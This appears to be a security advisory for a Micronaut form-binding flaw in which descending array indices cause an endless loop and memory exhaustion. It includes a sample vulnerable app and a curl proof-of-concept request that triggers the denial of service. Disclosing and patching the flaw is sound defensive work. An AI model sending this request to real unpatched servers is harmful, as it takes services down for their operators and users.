In JsonBeanPropertyBinder::expandArrayToThreshold in io.micronaut:micronaut-json-core before Micronaut 4 4.10.16 and in Micronaut 3 before 3.10.5 does not correctly handle descending array index order during form-urlencoded body binding, which allows remote attackers to cause a denial of service (non-terminating loop, CPU exhaustion, and OutOfMemoryError) via crafted indexed form parameters (e.g., authors[1].name followed by authors[0].name).
Example
With such an application
java package dosform;
import io.micronaut.http.HttpResponse; import io.micronaut.http.MediaType; import io.micronaut.http.annotation.Body; import io.micronaut.http.annotation.Consumes; import io.micronaut.http.annotation.Controller; import io.micronaut.http.annotation.Get; import io.micronaut.http.annotation.Post; import io.micronaut.http.annotation.Produces;
import java.net.URI;
@Controller class HomeController {
@Produces(MediaType.TEXTHTML) @Get String index() { return """ <!DOCTYPE html> <html> <head> <title></title> </head> <body> <form action="/submit" method="post"> <label for="firstAuthor">Fist Author</label> <input id="firstAuthor" name="authors[0].name" type="text"/>
<label for="secondAuthor">Second Author</label> <input id="secondAuthor" name="authors[1].name" type="text"/> <label for="thirdAuthor">Third Author</label> <input id="thirdAuthor" name="authors[2].name" type="text"/>
<button type="submit">Submit</button> </form> </body> </html> """; }
@Consumes(MediaType.APPLICATIONFORMURLENCODED) @Post("/submit") HttpResponse<?> submit(@Body Book book) { return HttpResponse.seeOther(URI.create("/")); } } package dosform;
import io.micronaut.core.annotation.Introspected;
import java.util.Objects;
@Introspected public class Author { private String name; public String getName() { return name; } public void setName(String name) { this.name = name; }
@Override public final boolean equals(Object o) { if (!(o instanceof Author)) return false;
Author author = (Author) o; return Objects.equals(name, author.name); }
@Override public int hashCode() { return Objects.hashCode(name); }
@Override public String toString() { return "Author{" + "name='" + name + '\'' + '}'; } } package dosform;
import io.micronaut.core.annotation.Introspected;
import java.util.List; import java.util.Objects;
@Introspected public class Book { private List<Author> authors; public List<Author> getAuthors() { return authors; } public void setAuthors(List<Author> authors) { this.authors = authors; }
@Override public final boolean equals(Object o) { if (!(o instanceof Book)) return false;
Book book = (Book) o; return Objects.equals(authors, book.authors); }
@Override public int hashCode() { return Objects.hashCode(authors); }
@Override public String toString() { return "Book{" + "authors=" + authors + '}'; } }
Sending curl -v -X POST 'http://127.0.0.1:8080/submit' -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'authors[1].name=RobertGalbraith' --data-urlencode 'authors[0].name=JKRowling' causes sustained CPU usage and unbounded memory growth (eventually OutOfMemoryError).
Patches For Micronaut 4, the problem has been patched in micronaut-core, dependencies with group id io.micronaut, since 4.10.16.
For Micronaut 3, the problem has been patched since 3.10.5
Users upgrade to the latest version of the framework.
Workarounds There is no way for users to fix or remediate the vulnerability without upgrading.
References PR Fix: https://github.com/micronaut-projects/micronaut-core/pull/12410